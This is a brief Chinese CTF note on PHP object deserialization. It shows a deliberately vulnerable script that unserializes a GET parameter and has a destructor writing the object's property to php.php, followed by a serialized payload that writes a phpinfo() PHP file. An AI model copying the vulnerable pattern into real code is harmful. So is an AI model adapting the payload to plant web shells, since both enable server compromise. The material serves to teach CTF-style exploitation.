CTF之反序列化_写shell

1. 反序列化

<?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(__FILE__));
class example
{
    var $var='123';

    function __destruct(){
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);
        fclose($fb);
    }
}

$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>

测试

O:7:"example":1:{s:3:"var";s:18:"<?php phpinfo();?>";}